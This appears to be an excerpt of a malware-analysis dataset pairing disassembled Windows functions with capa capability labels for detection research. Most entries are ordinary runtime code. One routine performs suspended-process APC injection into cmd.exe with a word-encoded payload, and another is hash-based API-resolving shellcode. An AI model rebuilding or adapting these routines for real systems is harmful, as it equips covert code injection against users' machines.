joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000dbb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
cmp dword [r8], 0
mov rbx, r9
mov rdi, r8
mov r14, rdx
mov esi, ecx
jle 0x14000dc28
test ecx, ecx
je 0x14000dc28
mov ecx, dword [rdx]
test ecx, ecx
je 0x14000dbf1
mov rdx, rbx
call fcn.14000db00
dec dword [rdi]
mov dword [r14], 0
cmp dword [rdi], 0
jle 0x14000dc28
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14000dc18
cmp qword [rbx], rax
jb 0x14000dc18
cmp qword [rbx + 0x18], 0
jne 0x14000dc10
inc dword [rbx + 0x20]
jmp 0x14000dc21
mov rcx, rbx
call fcn.14000c810
mov rax, qword [rbx]
mov byte [rax], sil
inc qword [rbx]
dec dword [rdi]
cmp dword [rdi], 0
jg 0x14000dbf6
xor eax, eax
cmp dword [r14], eax
setne al
cmp dword [rdi], eax
jle 0x14000dc9d
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14000dc86
mov rsi, qword [rbx]
cmp rsi, rax
jb 0x14000dc86
mov r9, qword [rbx + 0x18]
test r9, r9
jne 0x14000dc53
inc dword [rbx + 0x20]
jmp 0x14000dc8f
mov rcx, qword [rbx + 8]
sub rsi, rcx
cmp byte [rbx + 0x24], 0
jne 0x14000dc7f
test rsi, rsi
je 0x14000dc7f
mov r8, rsi
mov edx, 1
call qword [sym.imp.MSVCR120.dll_fwrite]
add dword [rbx + 0x20], eax
cmp rax, rsi
je 0x14000dc7f
mov byte [rbx + 0x24], 1
mov rax, qword [rbx + 8]
mov qword [rbx], rax
mov rax, qword [rbx]
mov byte [rax], Ordinal_34
inc qword [rbx]
dec dword [rdi]
xor eax, eax
cmp dword [r14], eax
setne al
cmp dword [rdi], eax
jg 0x14000dc34
mov esi, dword [r14]
test esi, esi
je 0x14000dcdf
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14000dcc6
cmp qword [rbx], rax
jb 0x14000dcc6
cmp qword [rbx + 0x18], 0
jne 0x14000dcbe
inc dword [rbx + 0x20]
jmp 0x14000dccf
mov rcx, rbx
call fcn.14000c810
mov rax, qword [rbx]
mov byte [rax], sil
inc qword [rbx]
mov eax, dword [rdi]
test eax, eax
jle 0x14000dcd9
dec eax
jmp 0x14000dcdd
jns 0x14000dcdf
inc eax
mov dword [rdi], eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000ddc0
Capabilities:
Query environment variable

Disassembly:
push rbp
push rsi
push r12
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x140019330]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea r14d, [rdx + 1]
mov rbp, rcx
xor r15d, r15d
movsxd rcx, r14d
movzx r12d, r8b
mov dword [rsp + 0x20], r15d
call qword [sym.imp.MSVCR120.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14000dff0
lea rdx, [0x140015c70]
lea rcx, str.CONIN_
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], rdi
call qword [sym.imp.MSVCR120.dll_fopen]
lea rdx, [0x140015c70]
lea rcx, str.CONOUT_
mov rdi, rax
call qword [sym.imp.MSVCR120.dll_fopen]
mov rbx, rax
test rdi, rdi
je 0x14000de9d
test rax, rax
je 0x14000de94
lea rcx, str.OSTYPE
call qword [sym.imp.MSVCR120.dll_getenv]
test rax, rax
je 0x14000debe
lea rcx, str.OSTYPE
call qword [sym.imp.MSVCR120.dll_getenv]
mov rcx, r15
lea r8, str.msys
mov rdx, rax
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x14000debe
cmp rcx, 5
jne 0x14000de80
mov rcx, rdi
call qword [sym.imp.MSVCR120.dll_fclose]
test rbx, rbx
je 0x14000deab
mov rcx, rbx
call qword [sym.imp.MSVCR120.dll_fclose]
call qword [sym.imp.MSVCR120.dll___iob_func]
mov rdi, rax
call qword [sym.imp.MSVCR120.dll___iob_func]
lea rbx, [rax + 0x60]
test r12b, r12b
jne 0x14000def3
mov rcx, rdi
call qword [sym.imp.MSVCR120.dll__fileno]
mov ecx, eax
call qword [sym.imp.MSVCR120.dll__get_osfhandle]
lea rdx, [rsp + 0x20]
mov rcx, rax
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, 3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
test rbp, rbp
je 0x14000df16
mov rcx, rbp
call qword [sym.imp.libintl.dll_libintl_gettext]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCR120.dll_fputs]
mov rcx, rbx
call qword [sym.imp.MSVCR120.dll_fflush]
mov r8, rdi
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.MSVCR120.dll_fgets]
test rax, rax
jne 0x14000df2c
mov byte [rsi], al
or rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], 0
jne 0x14000df30
test eax, eax
jle 0x14000df95
movsxd r14, eax
cmp byte [r14 + rsi - 1], 0xa
je 0x14000df8f
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, Ordinal_130
call qword [sym.imp.MSVCR120.dll_fgets]
test rax, rax
je 0x14000df87
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14000df71
test eax, eax
jle 0x14000df87
cdqe
cmp byte [rsp + rax + 0x2f], 0xa
jne 0x14000df50
cmp byte [r14 + rsi - 1], 0xa
jne 0x14000df95
mov byte [r14 + rsi - 1], 0
test r12b, r12b
jne 0x14000dfc0
mov edx, dword [rsp + 0x20]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea rcx, [0x140012508]
mov rdx, rbx
call qword [sym.imp.MSVCR120.dll_fputs]
mov rcx, rbx
call qword [sym.imp.MSVCR120.dll_fflush]
call qword [sym.imp.MSVCR120.dll___iob_func]
cmp rdi, rax
je 0x14000dfdd
mov rcx, rdi
call qword [sym.imp.MSVCR120.dll_fclose]
mov rcx, rbx
call qword [sym.imp.MSVCR120.dll_fclose]
mov rdi, qword [rsp + 0x108]
mov rbx, qword [rsp + 0x100]
mov rax, rsi
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14000f6c0
add rsp, 0xc0
pop r15
pop r14
pop r12
pop rsi
pop rbp
ret
Function at 0x14000ea10
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x20
cmp qword [str.msvcrt], 0
mov rsi, rcx
je 0x14000eac0
mov qword [rsp + 0x30], rbp
lea rbp, str.msvcrt
mov qword [rsp + 0x38], rdi
xor edi, edi
mov rcx, rbp
mov ebx, edi
mov rax, qword [rbx + rbp + 0x10]
test rax, rax
jne 0x14000ea97
cmp qword [rbx + rbp + 8], rax
jne 0x14000ea9c
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbx + rbp + 8], rax
test rax, rax
jne 0x14000ea72
mov qword [rbx + rbp + 8], 0xffffffffffffffff
jmp 0x14000ea9c
lea rdx, [0x140015e60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + rbp + 0x10], rax
test rax, rax
jne 0x14000ea97
mov qword [rbx + rbp + 8], 0xffffffffffffffff
jmp 0x14000ea9c
mov rcx, rsi
call rax
inc rdi
lea rcx, [rdi + rdi*2]
lea rbx, [rcx*8]
cmp qword [rbx + rbp], 0
lea rcx, [rbx + rbp]
jne 0x14000ea43
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.MSVCR120.dll__strdup]
mov rbx, rax
test rax, rax
je 0x14000eaf0
mov edx, Ordinal_64
mov rcx, rax
call qword [sym.imp.MSVCR120.dll_strchr]
mov rdx, rax
test rax, rax
jne 0x14000eafe
mov rcx, rbx
call qword [sym.imp.MSVCR120.dll_free]
or eax, 0xffffffff
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
mov byte [rax], 0
inc rdx
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x14000eb10
test rax, rax
je 0x14000eb2b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x14000eae7
mov rcx, rbx
call qword [sym.imp.MSVCR120.dll_free]
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
jmp qword [sym.imp.MSVCR120.dll__putenv]

Function at 0x140020fa5
Capabilities:
Resolve function by hash

Disassembly:
movabs eax, dword fs:[0xc78c08500000030]
mov eax, dword [rax + 0xc]
mov esi, dword [rax + 0x1c]
lodsd eax, dword [rsi]
mov ebx, dword [rax + 8]
jmp 0x140020fc4
pop rsi
add esi, 3
push rbx
mov edx, 0xec0e4e8e
call rsi
push rax
mov edx, 0x7c0dfcaa
call rsi
push rax
push rdi
mov edx, 0x4ee4a045
call rsi
xor edx, edx
push rdx
push 0x6d756369
push 0x6c656167
push rsp
push rdx
push rdx
call rax
push rax
mov edx, 0x75da1966
call rsi
call rax
xchg edi, eax
mov edx, 0xffd97fb
call rsi
call rax
cmp edi, 0xb7
jne 0x140021013
mov esp, ebp
invalid
call fcn.140021034
sti
xchg edi, eax
std
pcmpeqd mm5, qword [rbp - 0x50]
jb 0x140021020
jb 0x140021020
mov bl, 0x16
movabs eax, dword [0xd368a7c7d2d83d6a]
invalid
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005ec0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005ed0]
mov dword [rax], 1
mov rax, qword [0x140005ee0]
mov dword [rax], 1
mov rax, qword [0x140005e70]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005eb0]
mov dword [0x14000a00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140005f80]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140005f60]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140005e20]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001540
Capabilities:
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x308
lea rbp, [rsp + 0x80]
call dbg.__main
mov rdi, rsp
xorps xmm0, xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x230], 0
movaps xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], 0
mov qword [rbp + 0x250], 0x1fe
xor ebx, ebx
lea r14, str.acetylfluoride
lea r15, str.caaba
jmp 0x1400015dc
inc rbx
cmp rbx, 0x1fe
je 0x140001617
mov rsi, qword [r14 + rbx*8]
mov r12, r15
xor r13d, r13d
jmp 0x140001600
inc r13
add r12, 8
cmp r13, 0x100
je 0x1400015d0
mov rdx, qword [r12]
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400015f0
mov byte [rbp + rbx - 0x30], r13b
jmp 0x1400015f0
lea rax, [rbp + 0x260]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
lea rcx, str.C:WindowsSystem32cmd.exe
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rbp + 0x280], 0
mov qword [rbp + 0x258], 0x1fe
mov rcx, qword [rbp + 0x260]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x280]
lea r9, [rbp + 0x258]
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rcx, qword [rbp + 0x260]
mov rdx, qword [rbp + 0x280]
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x30]
mov r9d, 0x1fe
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x140001727
mov rcx, qword [rbp + 0x260]
lea rax, [rbp + 0x24c]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x280]
lea r8, [rbp + 0x250]
mov r9d, 0x20
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x140001727
mov rcx, qword [rbp + 0x280]
mov rdx, qword [rbp + 0x268]
xor esi, esi
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14000172c
mov esi, 0xffffffff
mov rsp, rdi
mov eax, esi
add rsp, 0x308
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140001a20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001a90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000a104]
mov rbx, rcx
test esi, esi
jle 0x140001bc0
mov rax, qword [0x14000a108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001adb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ac0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001be2
mov rax, qword [0x14000a108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000a108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bc7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b5e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b70
add dword [0x14000a104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000a108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ae8
mov rax, qword [0x14000a108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002150
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000a160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000a140]
test rbx, rbx
je 0x1400021ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400021a3
test rsi, rsi
je 0x1400021a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002188
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400023f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000243d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002434
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000243f
add rax, 0x28
cmp rax, r9
jne 0x140002420
xor eax, eax
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024d0
mov rdx, qword [0x140005e70]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024be
cmp word [rax + 0x18], 0x20b
jne 0x1400024be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400024d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005e70]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002500
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002508
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002500
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000255d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002554
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002500
add rax, 0x28
cmp rax, r9
jne 0x140002540
xor eax, eax
ret

Function at 0x140002560
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005e70]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000257f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002588
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000257f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400025a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140005e70]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002610
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002607
test rcx, rcx
je 0x1400025c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400025f8
xor eax, eax
ret
Function at 0x140002620
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005e70]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000263f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002648
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005e70]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002680
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002688
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002680
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002680
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026e0
add rdx, 0x28
cmp r9, rdx
jne 0x1400026c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140005e70]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002712
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002720
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002712
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002712
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002712
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002775
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002788
add rdx, 0x28
cmp rdx, r10
jne 0x140002760
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002797
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000277e
test ecx, ecx
jg 0x140002790
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400028d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140002903
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140002946
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140002941
cmp rbx, r11
jae 0x140002946
dec edi
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140002930
cmp rbx, r11
jb 0x14000294a
xor eax, eax
jmp 0x140002956
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140013bd0
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x60
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov rbx, rcx
xor edi, edi
mov qword [rsp + 0x88], rdi
lea ecx, [rdi + 0x10]
call fcn.1400d5224
mov rcx, rax
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140013c13
mov qword [rax], 0xffffffff80000002
mov qword [rax + 8], rdi
jmp 0x140013c16
mov rcx, rdi
mov qword [rsp + 0x88], rcx
lea rax, [rcx + 8]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREWow6432NodeTCtrlTime_control_value
mov rcx, qword [rcx]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140013c8f
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
mov rbx, qword [rsp + 0x88]
test rbx, rbx
je 0x140013c88
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140013c80
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbx + 8], rdi
mov rcx, rbx
call fcn.1400d4d78
xor eax, eax
jmp 0x140013db7
mov dword [rsp + 0x80], 4
mov dword [rsp + 0x78], 4
lea rax, [rbx + 0x24]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x80]
xor r8d, r8d
lea rdx, [0x14012d2c0]
mov rcx, qword [rsp + 0x88]
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140013d15
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop
mov rbx, qword [rsp + 0x88]
test rbx, rbx
je 0x140013c88
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140013c80
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbx + 8], rdi
mov rcx, rbx
call fcn.1400d4d78
xor eax, eax
jmp 0x140013db7
lea rdx, [rbx + 0xdf8]
lea r8, [rsp + 0x88]
mov rcx, rbx
call fcn.140014bf0
lea rdx, [rbx + 0xe18]
lea r8, [rsp + 0x88]
mov rcx, rbx
call fcn.140014d20
lea rdx, [rbx + 0xe38]
lea r8, [rsp + 0x88]
mov rcx, rbx
call fcn.140014e50
lea rdx, [rbx + 0xe58]
lea r8, [rsp + 0x88]
mov rcx, rbx
call fcn.140014f80
lea rcx, [rbx + 0x958]
call fcn.140013dd0
lea rcx, [rbx + 0x960]
call fcn.140013dd0
nop
mov rbx, qword [rsp + 0x88]
test rbx, rbx
je 0x140013db2
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140013daa
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbx + 8], rdi
mov rcx, rbx
call fcn.1400d4d78
mov eax, 1
mov qword [rsp + 0x88], rdi
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret